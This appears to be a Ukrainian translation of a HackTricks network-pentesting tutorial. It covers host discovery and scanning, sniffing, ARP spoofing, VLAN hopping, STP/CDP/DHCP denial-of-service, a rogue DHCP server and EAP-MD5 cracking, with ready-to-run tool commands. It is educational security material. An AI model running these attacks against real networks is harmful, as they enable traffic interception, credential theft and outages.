.. | ||
dhcpv6.md | ||
eigrp-attacks.md | ||
glbp-and-hsrp-attacks.md | ||
ids-evasion.md | ||
lateral-vlan-segmentation-bypass.md | ||
network-protocols-explained-esp.md | ||
nmap-summary-esp.md | ||
pentesting-ipv6.md | ||
README.md | ||
spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md | ||
spoofing-ssdp-and-upnp-devices.md |
Pentesting Network
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити рекламу вашої компанії на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.
Підказка щодо багів: зареєструйтеся на Intigriti, преміальній платформі для пошуку багів, створеній хакерами для хакерів! Приєднуйтесь до нас на https://go.intigriti.com/hacktricks сьогодні, і почніть заробляти винагороди до $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Виявлення хостів ззовні
Це буде короткий розділ про те, як знайти IP-адреси, які відповідають з Інтернету.
У цій ситуації у вас є деякий діапазон IP-адрес (можливо, навіть кілька діапазонів), і вам просто потрібно знайти які IP-адреси відповідають.
ICMP
Це найпростіший і найшвидший спосіб виявити, чи працює хост чи ні.
Ви можете спробувати відправити деякі пакети ICMP і очікувати відповіді. Найпростіший спосіб - просто відправити запит на ехо і очікувати відповіді. Це можна зробити за допомогою простої команди ping
або використовуючи fping
для діапазонів.
Ви також можете використовувати nmap для відправлення інших типів пакетів ICMP (це уникне фільтрів для звичайних запитів-відповідей на ехо ICMP).
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
Виявлення TCP-портів
Дуже поширеною є ситуація, коли всі види пакетів ICMP фільтруються. Тоді все, що ви можете зробити, щоб перевірити, чи працює хост, - це спробувати знайти відкриті порти. Кожен хост має 65535 портів, тому, якщо у вас є "великий" обсяг, ви не можете перевірити, чи відкритий кожен порт кожного хоста, це займе занадто багато часу.
Отже, вам потрібен швидкий сканер портів (masscan) та список найбільш використовуваних портів:
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
Ви також можете виконати цей крок за допомогою nmap
, але це повільніше і деякі проблеми з ідентифікацією хостів nmap
.
Виявлення порту HTTP
Це просто виявлення TCP-порту, корисне, коли ви хочете зосередитися на виявленні HTTP-сервісів:
masscan -p80,443,8000-8100,8443 199.66.11.0/24
Виявлення портів UDP
Ви також можете спробувати перевірити, чи є відкриті UDP порти, щоб вирішити, чи варто приділити більше уваги хосту. Оскільки UDP-сервіси зазвичай не відповідають жодними даними на звичайний порожній пакет запиту UDP, важко сказати, чи порт фільтрується чи відкритий. Найпростіший спосіб вирішити це - відправити пакет, пов'язаний з робочим сервісом, і оскільки ви не знаєте, який сервіс працює, вам слід спробувати найбільш ймовірний на підставі номера порту:
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
Рядок nmap, запропонований раніше, протестує перші 1000 портів UDP в кожному хості всередині діапазону /24, але навіть це займе >20 хв. Якщо потрібні найшвидші результати, ви можете використати udp-proto-scanner: ./udp-proto-scanner.pl 199.66.11.53/24
Це відправить ці UDP запити на їх очікуваний порт (для діапазону /24 це займе всього 1 хв): DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp.
Відкриття портів SCTP
#Probably useless, but it's pretty fast, why not trying?
nmap -T4 -sY -n --open -Pn <IP/range>
Тестування на проникнення Wifi
Тут ви знайдете чудовий посібник з усіма відомими атаками на Wifi на момент написання:
{% content-ref url="../pentesting-wifi/" %} pentesting-wifi {% endcontent-ref %}
Виявлення хостів зсередини
Якщо ви знаходитесь всередині мережі, однією з перших речей, які ви захочете зробити, буде виявлення інших хостів. Залежно від того, наскільки багато шуму ви можете/хочете створити, можуть виконуватися різні дії:
Пасивний
Ви можете використовувати ці інструменти для пасивного виявлення хостів всередині підключеної мережі:
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
# Bettercap
net.recon on/off #Read local ARP cache periodically
net.show
set net.show.meta true #more info
Активний
Зверніть увагу, що техніки, які коментуються в Виявлення хостів ззовні (Виявлення портів TCP/HTTP/UDP/SCTP), також можуть бути застосовані тут.
Але, оскільки ви знаходитесь в одній мережі з іншими хостами, ви можете робити більше речей:
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
netdiscover -r <Network> #ARP requests (Discover IPs)
#NBT discovery
nbtscan -r 192.168.0.1/24 #Search in Domain
# Bettercap
net.probe on/off #Discover hosts on current subnet by probing with ARP, mDNS, NBNS, UPNP, and/or WSD
set net.probe.mdns true/false #Enable mDNS discovery probes (default=true)
set net.probe.nbns true/false #Enable NetBIOS name service discovery probes (default=true)
set net.probe.upnp true/false #Enable UPNP discovery probes (default=true)
set net.probe.wsd true/false #Enable WSD discovery probes (default=true)
set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
Активний ICMP
Зверніть увагу, що техніки, які коментуються в Виявлення хостів ззовні (ICMP), можуть бути також застосовані тут.
Але, оскільки ви знаходитесь в тій самій мережі що і інші хости, ви можете робити більше речей:
- Якщо ви пінгуєте адресу мережевого підсегменту, пінг повинен дійти до кожного хоста, і вони можуть відповісти вам:
ping -b 10.10.5.255
- Пінгуючи адресу мережевого мовлення, ви навіть можете знайти хости всередині інших підмереж:
ping -b 255.255.255.255
- Використовуйте прапорці
-PE
,-PP
,-PM
уnmap
для виконання виявлення хостів, надсилаючи відповідно запити ICMPv4 echo, відмітки часу та маски підмережі:nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24
Прокидання через мережу (Wake On Lan)
Прокидання через мережу використовується для увімкнення комп'ютерів за допомогою мережевого повідомлення. Магічний пакет, який використовується для увімкнення комп'ютера, це лише пакет, в якому надається MAC Dst, і потім він повторюється 16 разів всередині того ж пакету.
Потім такі пакети зазвичай надсилаються в Ethernet 0x0842 або в UDP пакет на порт 9.
Якщо не вказано [MAC], пакет надсилається на широкомовну Ethernet мережу (і широкомовний MAC буде тим, що повторюється).
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
Сканування хостів
Після того, як ви виявили всі IP-адреси (зовнішні або внутрішні), які ви хочете детально просканувати, можна виконати різні дії.
TCP
- Відкритий порт: SYN --> SYN/ACK --> RST
- Закритий порт: SYN --> RST/ACK
- Фільтрований порт: SYN --> [НЕМАЄ ВІДПОВІДІ]
- Фільтрований порт: SYN --> повідомлення ICMP
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
# Nmap fast scan for all the ports
nmap -sV -sC -O -T4 -n -Pn -p- -oA fullfastscan <IP>
# Nmap fast scan for all the ports slower to avoid failures due to -T4
nmap -sV -sC -O -p- -n -Pn -oA fullscan <IP>
#Bettercap Scan
syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
UDP
Є 2 варіанти для сканування UDP-порту:
- Надіслати пакет UDP та перевірити відповідь ICMP unreachable, якщо порт закритий (у декотрих випадках ICMP буде фільтруватися, тому ви не отримаєте жодної інформації, якщо порт закритий або відкритий).
- Надіслати форматовані датаграми, щоб отримати відповідь від сервісу (наприклад, DNS, DHCP, TFTP та інші, як вказано в nmap-payloads). Якщо ви отримуєте відповідь, то порт відкритий.
Nmap буде комбінувати обидва варіанти, використовуючи "-sV" (скани UDP дуже повільні), але слід зауважити, що скани UDP повільніше за скани TCP:
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
# Nmap fast check if any of the 100 most common UDP services is running
nmap -sU -sV --version-intensity 0 -n -F -T4 <IP>
# Nmap check if any of the 100 most common UDP services is running and launch defaults scripts
nmap -sU -sV -sC -n -F -T4 <IP>
# Nmap "fast" top 1000 UDP ports
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
Сканування SCTP
SCTP (Протокол керування потоками передачі) призначений для використання разом з TCP (Протокол керування передачею) та UDP (Протокол користувацьких дейтаграм). Його основна мета - сприяти транспорту телефонних даних через IP-мережі, відтворюючи багато з функцій надійності, які знаходяться в Системі сигналізації 7 (SS7). SCTP є основним компонентом сімейства протоколів SIGTRAN, яке спрямоване на транспортування сигналів SS7 через IP-мережі.
Підтримка SCTP надається різними операційними системами, такими як IBM AIX, Oracle Solaris, HP-UX, Linux, Cisco IOS та VxWorks, що свідчить про його широкий прийом та корисність у галузі телекомунікацій та мереж.
Nmap пропонує два різних типи сканування для SCTP: -sY та -sZ
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
Ухилення IDS та IPS
{% content-ref url="ids-evasion.md" %} ids-evasion.md {% endcontent-ref %}
Додаткові опції nmap
{% content-ref url="nmap-summary-esp.md" %} nmap-summary-esp.md {% endcontent-ref %}
Розкриття внутрішніх IP-адрес
Неправильно налаштовані маршрутизатори, брандмауери та мережеві пристрої іноді відповідають на мережеві запити, використовуючи непублічні джерелні адреси. tcpdump може бути використаний для ідентифікації пакетів, отриманих з приватних адрес під час тестування. Зокрема, на Kali Linux пакети можна захоплювати на інтерфейсі eth2, який доступний з відкритої мережі Інтернету. Важливо зауважити, що якщо ваша конфігурація знаходиться за NAT або брандмауером, такі пакети ймовірно будуть відфільтровані.
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
Прослуховування
Під час прослуховування можна дізнатися деталі IP-діапазонів, розмірів підмереж, MAC-адрес та імен хостів, переглядаючи захоплені фрейми та пакети. Якщо мережа налаштована неправильно або комутаційна тканина перебуває під стресом, зловмисники можуть захопити чутливий матеріал шляхом пасивного прослуховування мережі.
Якщо комутована Ethernet-мережа налаштована належним чином, ви побачите лише трансляційні фрейми та матеріал, призначений для вашої MAC-адреси.
TCPDump
sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what is searching the host
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
Також можна захоплювати пакети з віддаленої машини під час сеансу SSH за допомогою Wireshark як графічного інтерфейсу в реальному часі.
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
Bettercap
net.sniff on
net.sniff stats
set net.sniff.output sniffed.pcap #Write captured packets to file
set net.sniff.local #If true it will consider packets from/to this computer, otherwise it will skip them (default=false)
set net.sniff.filter #BPF filter for the sniffer (default=not arp)
set net.sniff.regexp #If set only packets matching this regex will be considered
Wireshark
Очевидно.
Захоплення облікових даних
Ви можете використовувати інструменти, такі як https://github.com/lgandx/PCredz, щоб розбирати облікові дані з pcap-файлу або живого інтерфейсу.
Атаки в локальній мережі
ARP-підроблення
ARP-підроблення полягає в тому, що відправляються безкоштовні ARP-відповіді, щоб вказати, що IP-адреса машини має MAC-адресу нашого пристрою. Потім жертва змінить таблицю ARP і буде звертатися до нашої машини кожного разу, коли вона хоче звернутися до підробленої IP-адреси.
Bettercap
arp.spoof on
set arp.spoof.targets <IP> #Specific targets to ARP spoof (default=<entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
Arpspoof
echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
Переповнення CAM-таблиці - MAC-флудінг
Переповніть CAM-таблицю комутатора, відправляючи багато пакетів з різними джерелами MAC-адрес. Коли CAM-таблиця переповнена, комутатор починає вести себе як концентратор (розсилаючи весь трафік).
macof -i <interface>
У сучасних комутаторах ця вразливість виправлена.
Атаки на 802.1Q VLAN / DTP
Динамічне тронкування
Протокол Dynamic Trunking Protocol (DTP) розроблений як протокол рівня зв'язку для полегшення автоматичної системи тронкування, що дозволяє комутаторам автоматично вибирати порти для режиму тронкування (Trunk) або не-тронкування. Використання DTP часто розглядається як показник неоптимального дизайну мережі, що підкреслює важливість ручної настройки тронків лише там, де це необхідно, та забезпечення належної документації.
За замовчуванням порти комутатора встановлені в режимі Dynamic Auto, що означає, що вони готові ініціювати тронкування за вимогою сусіднього комутатора. Проблема безпеки виникає, коли пентестер або атакуючий підключається до комутатора та надсилає фрейм DTP Desirable, що змушує порт увійти в режим тронкування. Ця дія дозволяє атакуючому перелічити VLAN через аналіз фреймів STP та обійти сегментацію VLAN, створюючи віртуальні інтерфейси.
Наявність DTP в багатьох комутаторах за замовчуванням може бути використана зловмисниками для імітації поведінки комутатора, тим самим отримуючи доступ до трафіку по всіх VLAN. Сценарій dtpscan.sh використовується для моніторингу інтерфейсу та виявлення того, чи комутатор перебуває в режимі за замовчуванням, тронкування, динамічного, автоматичного або доступу — останній єдиний конфігураційний варіант, який захищений від атак на перехід між VLAN. Цей інструмент оцінює статус вразливості комутатора.
Якщо виявлено вразливість мережі, можна використовувати інструмент Yersinia для "увімкнення тронкування" через протокол DTP, що дозволяє спостерігати за пакетами з усіх VLAN.
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
yersinia -I #Interactive mode
#In interactive mode you will need to select a interface first
#Then, you can select the protocol to attack using letter "g"
#Finally, you can select the attack using letter "x"
yersinia -G #For graphic mode
Для переліку VLAN також можливо згенерувати рамку DTP Desirable за допомогою скрипту DTPHijacking.py**. Не переривайте скрипт ні за яких обставин. Він впроваджує DTP Desirable кожні три секунди. Динамічно створені транк-канали на комутаторі існують лише п'ять хвилин. Після цього терміну транк відключається.
sudo python3 DTPHijacking.py --interface eth0
Я хочу вказати, що Access/Desirable (0x03) вказує на те, що кадр DTP є типу Desirable, що вказує порту перейти в режим Trunk. А 802.1Q/802.1Q (0xa5) вказує на тип інкапсуляції 802.1Q.
Аналізуючи кадри STP, ми дізнаємося про існування VLAN 30 та VLAN 60.
Атака на конкретні VLAN
Як тільки ви дізнаєтеся ідентифікатори VLAN та значення IP, ви можете налаштувати віртуальний інтерфейс для атаки конкретного VLAN.
Якщо DHCP недоступний, використовуйте ifconfig для встановлення статичної IP-адреси.
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250 Link encap:Ethernet HWaddr 00:0e:c6:f0:29:65
inet addr:10.121.5.86 Bcast:10.121.5.255 Mask:255.255.255.0
inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:19 errors:0 dropped:0 overruns:0 frame:0
TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2206 (2.1 KiB) TX bytes:1654 (1.6 KiB)
root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
# Another configuration example
modprobe 8021q
vconfig add eth1 20
ifconfig eth1.20 192.168.1.2 netmask 255.255.255.0 up
# Another configuration example
sudo vconfig add eth0 30
sudo ip link set eth0.30 up
sudo dhclient -v eth0.30
Автоматичний VLAN Hopper
Обговорювана атака Динамічне з'єднання та створення віртуальних інтерфейсів для виявлення хостів всередині інших VLAN автоматично виконується за допомогою інструменту: https://github.com/nccgroup/vlan-hopping---frogger
Подвійне тегування
Якщо зловмисник знає значення MAC, IP та VLAN ID хоста-жертви, він може спробувати подвійно позначити фрейм з призначеним для нього VLAN та VLAN жертви та відправити пакет. Оскільки жертва не зможе підключитися назад до зловмисника, то найкращий варіант для зловмисника - спілкуватися через UDP з протоколами, які можуть виконувати цікаві дії (наприклад, SNMP).
Інша опція для зловмисника - запустити сканування портів TCP, підробивши IP, керований зловмисником і доступний для жертви (мабуть через Інтернет). Потім зловмисник може перехоплювати пакети в другому хості, який належить йому, якщо він отримує деякі пакети від жертви.
Для виконання цієї атаки можна використовувати scapy: pip install scapy
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
Обхід бокової сегментації VLAN
Якщо у вас є доступ до комутатора, до якого ви безпосередньо підключені, ви маєте можливість обійти сегментацію VLAN в мережі. Просто перемкніть порт у режим транка (відомий як транк), створіть віртуальні інтерфейси з ідентифікаторами цільових VLAN та налаштуйте IP-адресу. Ви можете спробувати запросити адресу динамічно (DHCP) або налаштувати її статично. Це залежить від ситуації.
{% content-ref url="lateral-vlan-segmentation-bypass.md" %} lateral-vlan-segmentation-bypass.md {% endcontent-ref %}
Обхід приватної VLAN на рівні 3
У певних середовищах, таких як гостьові бездротові мережі, налаштування ізоляції портів (також відоме як приватна VLAN) використовується для запобігання прямому спілкуванню клієнтів, підключених до точки доступу бездротової мережі. Однак була виявлена техніка, яка може обійти ці заходи ізоляції. Ця техніка використовує або відсутність списків керування доступом мережі, або їх неправильну конфігурацію, що дозволяє маршрутизувати IP-пакети через маршрутизатор для досягнення іншого клієнта в тій же мережі.
Атака виконується шляхом створення пакета, який містить IP-адресу цільового клієнта, але з MAC-адресою маршрутизатора. Це призводить до того, що маршрутизатор помиляється, пересилаючи пакет до цільового клієнта. Цей підхід схожий на той, що використовується в атаках з подвійним тегуванням, де використовується можливість керувати хостом, до якого має доступ жертва, для експлуатації уразливості безпеки.
Основні кроки атаки:
- Створення пакета: Пакет спеціально створюється таким чином, щоб містити IP-адресу цільового клієнта, але з MAC-адресою маршрутизатора.
- Експлуатація поведінки маршрутизатора: Створений пакет відправляється до маршрутизатора, який, через конфігурацію, перенаправляє пакет до цільового клієнта, обходячи ізоляцію, надану налаштуваннями приватної VLAN.
Атаки на VTP
VTP (VLAN Trunking Protocol) централізує управління VLAN. Він використовує номери ревізій для збереження цілісності бази даних VLAN; будь-яка модифікація збільшує цей номер. Комутатори приймають конфігурації з більшими номерами ревізій, оновлюючи свої власні бази даних VLAN.
Ролі домену VTP
- Сервер VTP: Управляє VLAN — створює, видаляє, змінює. Розсилає оголошення VTP членам домену.
- Клієнт VTP: Отримує оголошення VTP для синхронізації своєї бази даних VLAN. Ця роль обмежена від локальних модифікацій конфігурації VLAN.
- Прозорий VTP: Не бере участі в оновленнях VTP, але пересилає оголошення VTP. Не піддається атакам VTP, підтримує постійний номер ревізії нуль.
Типи оголошень VTP
- Оголошення загальної інформації: Розсилається сервером VTP кожні 300 секунд, несучи важливу інформацію домену.
- Оголошення підмножини: Надсилається після змін конфігурації VLAN.
- Запит оголошення: Видано клієнтом VTP для запиту оголошення загальної інформації, зазвичай у відповідь на виявлення більш високого номера ревізії конфігурації.
Уразливості VTP можна експлуатувати виключно через транк-порти, оскільки оголошення VTP циркулюють лише через них. Сценарії атак після атаки DTP можуть переходити до VTP. Інструменти, такі як Yersinia, можуть сприяти атакам на VTP, спрямованим на видалення бази даних VLAN, ефективно нарушуючи мережу.
Примітка: Ця дискусія стосується VTP версії 1 (VTPv1).
%% yersinia -G # Launch Yersinia in graphical mode ```
У графічному режимі Yersinia виберіть опцію видалення всіх VTP вланів для очищення бази даних VLAN.
Атаки STP
Якщо ви не можете захопити фрейми BPDU на своїх інтерфейсах, ймовірно, вам не вдасться успішно виконати атаку STP.
STP BPDU DoS
Відправляючи багато BPDUs TCP (повідомлення про зміну топології) або Conf (BPDUs, які відправляються при створенні топології), комутатори перевантажуються і перестають працювати правильно.
yersinia stp -attack 2
yersinia stp -attack 3
#Use -M to disable MAC spoofing
Атака STP TCP
Коли відправляється TCP, таблиця CAM комутаторів буде видалена через 15 с. Потім, якщо ви надсилаєте безперервно цей тип пакетів, таблиця CAM буде постійно перезапускатися (або кожні 15 с), і коли вона перезапускається, комутатор веде себе як концентратор.
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
Атака на корінь STP
Атакувальник симулює поведінку комутатора, щоб стати коренем STP мережі. Після цього через нього буде проходити більше даних. Це цікаво, коли ви підключені до двох різних комутаторів.
Це робиться шляхом відправлення пакетів CONF BPDUs, в яких вказується, що значення пріоритету менше, ніж фактичний пріоритет поточного кореневого комутатора.
yersinia stp -attack 4 #Behaves like the root switch
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
Якщо зловмисник підключений до 2 комутаторів, він може бути коренем нового дерева, і весь трафік між цими комутаторами буде проходити через нього (буде виконано атаку MITM).
yersinia stp -attack 6 #This will cause a DoS as the layer 2 packets wont be forwarded. You can use Ettercap to forward those packets "Sniff" --> "Bridged sniffing"
ettercap -T -i eth1 -B eth2 -q #Set a bridge between 2 interfaces to forwardpackages
Атаки CDP
Протокол виявлення CISCO (CDP) є важливим для зв'язку між пристроями CISCO, що дозволяє їм ідентифікувати один одного та обмінюватися конфігураційними даними.
Пасивний збір даних
CDP налаштований на трансляцію інформації через всі порти, що може призвести до ризику безпеки. Атакуючий, підключившись до порту комутатора, може використовувати сніфери мережі, такі як Wireshark, tcpdump або Yersinia. Ця дія може розкрити чутливі дані про мережевий пристрій, включаючи його модель та версію Cisco IOS, яку він використовує. Після цього атакуючий може спрямувати свою увагу на конкретні вразливості в ідентифікованій версії Cisco IOS.
Викликання переповнення таблиці CDP
Більш агресивний підхід передбачає запуск атаки відмови в обслуговуванні (DoS), перевантажуючи пам'ять комутатора, претендуючи на легітимні пристрої CISCO. Нижче наведена послідовність команд для запуску такої атаки за допомогою Yersinia, мережевого інструмента, призначеного для тестування:
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
# Alternatively, for a GUI approach:
sudo yersinia -G
Під час цього нападу процесор комутатора та таблиця сусідів CDP значно перевантажуються, що часто призводить до так званої «мережевої паралізації» через надмірне споживання ресурсів.
Атака імітації CDP
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
sudo yersinia cdp -attack 0 #Send a CDP packet
Ви також можете використовувати scapy. Обов'язково встановіть його з пакетом scapy/contrib
.
Атаки на VoIP та інструмент VoIP Hopper
Телефони VoIP, які все більше інтегруються з пристроями Інтернету речей, пропонують функціонал, такий як відкривання дверей або керування термостатами за допомогою спеціальних телефонних номерів. Однак ця інтеграція може становити загрозу безпеці.
Інструмент voiphopper призначений для емуляції телефону VoIP в різних середовищах (Cisco, Avaya, Nortel, Alcatel-Lucent). Він виявляє ідентифікатор VLAN голосової мережі за допомогою протоколів, таких як CDP, DHCP, LLDP-MED та 802.1Q ARP.
VoIP Hopper пропонує три режими для протоколу виявлення Cisco (CDP):
- Режим перехоплення (
-c 0
): Аналізує мережеві пакети для ідентифікації ідентифікатора VLAN. - Режим підробки (
-c 1
): Генерує власні пакети, що імітують пакети реального пристрою VoIP. - Режим підробки з попередньо створеним пакетом (
-c 2
): Надсилає пакети, ідентичні пакетам певної моделі IP-телефону Cisco.
Перевагу слід надавати третьому режиму для швидкості. Для його використання потрібно вказати:
- Мережевий інтерфейс атакуючого (
-i
параметр). - Назву емульованого пристрою VoIP (
-E
параметр), дотримуючись формату найменування Cisco (наприклад, SEP, за яким слідує MAC-адреса).
У корпоративних налаштуваннях для імітації існуючого пристрою VoIP можна:
- Перевірити мітку MAC на телефоні.
- Перейти до налаштувань дисплея телефону, щоб переглянути інформацію про модель.
- Підключити пристрій VoIP до ноутбука та спостерігати за запитами CDP за допомогою Wireshark.
Приклад команди для виконання інструменту у третьому режимі:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
Атаки DHCP
Перелік
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
Існують два типи DoS атак, які можна виконати проти серверів DHCP. Перший полягає в імітації достатньої кількості фальшивих хостів для використання всіх можливих IP-адрес.
Ця атака буде працювати лише у випадку, якщо ви можете бачити відповіді від сервера DHCP та завершити протокол (Discover (Комп) --> Offer (сервер) --> Request (Комп) --> ACK (сервер)). Наприклад, це неможливо в бездротових мережах.
Інший спосіб виконання атаки DHCP DoS полягає в надсиланні пакету DHCP-RELEASE, використовуючи як джерело коду кожну можливу IP-адресу. Потім сервер буде вважати, що всі закінчили використання IP.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
Більш автоматизованим способом це робити є використання інструменту DHCPing
Ви можете використовувати згадані атаки DoS, щоб змусити клієнтів отримувати нові лізинги в середовищі, та вичерпати законні сервери, щоб вони стали несправними. Таким чином, коли законні спробують повторно підключитися, ви можете надати зловмисні значення, зазначені в наступній атакі.
Встановлення зловмисних значень
Зловмисний DHCP сервер можна налаштувати за допомогою скрипту DHCP, розташованого за шляхом /usr/share/responder/DHCP.py
. Це корисно для мережевих атак, таких як захоплення HTTP трафіку та облікових даних, перенаправляючи трафік на зловмисний сервер. Однак встановлення зловмисного шлюзу менш ефективно, оскільки воно дозволяє лише захоплювати вихідний трафік від клієнта, пропускаючи відповіді від реального шлюзу. Замість цього рекомендується встановити зловмисний DNS або сервер WPAD для більш ефективної атаки.
Нижче наведені параметри команд для налаштування зловмисного DHCP сервера:
- Наш IP-адреса (Оголошення шлюзу): Використовуйте
-i 10.0.0.100
, щоб оголосити IP-адресу вашого комп'ютера як шлюз. - Локальне доменне ім'я DNS: Опціонально, використовуйте
-d example.org
, щоб встановити локальне доменне ім'я DNS. - Оригінальний IP-адреса маршрутизатора/шлюзу: Використовуйте
-r 10.0.0.1
, щоб вказати IP-адресу законного маршрутизатора або шлюзу. - IP-адреса основного DNS сервера: Використовуйте
-p 10.0.0.100
, щоб встановити IP-адресу зловмисного DNS сервера, яким ви керуєте. - IP-адреса вторинного DNS сервера: Опціонально, використовуйте
-s 10.0.0.1
, щоб встановити IP-адресу вторинного DNS сервера. - Маска підмережі локальної мережі: Використовуйте
-n 255.255.255.0
, щоб визначити маску підмережі для локальної мережі. - Інтерфейс для трафіку DHCP: Використовуйте
-I eth1
, щоб прослуховувати трафік DHCP на конкретному мережевому інтерфейсі. - Адреса конфігурації WPAD: Використовуйте
-w “http://10.0.0.100/wpad.dat”
, щоб встановити адресу для конфігурації WPAD, допомагаючи в перехопленні веб-трафіку. - Підроблена IP-адреса типового шлюзу: Включіть
-S
, щоб підробити IP-адресу типового шлюзу. - Відповідь на всі запити DHCP: Включіть
-R
, щоб сервер відповідав на всі запити DHCP, але пам'ятайте, що це шумно і може бути виявлено.
Правильно використовуючи ці параметри, можна створити зловмисний DHCP сервер для ефективного перехоплення мережевого трафіку.
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
Атаки EAP
Ось деякі тактики атаки, які можна використовувати проти реалізацій 802.1X:
- Активне переборення пароля методом EAP
- Атака на сервер RADIUS за допомогою некоректного вмісту EAP **(експлойти)
- Захоплення повідомлення EAP та офлайн-відновлення пароля (EAP-MD5 та PEAP)
- Примусова аутентифікація EAP-MD5 для обхіду перевірки сертифіката TLS
- Впровадження зловмисного мережевого трафіку при аутентифікації за допомогою концентратора або подібного
Якщо атакуючий знаходиться між жертвою та сервером аутентифікації, він може спробувати знизити (якщо потрібно) протокол аутентифікації до EAP-MD5 та захопити спробу аутентифікації. Потім він може спробувати зламати це, використовуючи:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
Атаки на протоколи FHRP (GLBP та HSRP)
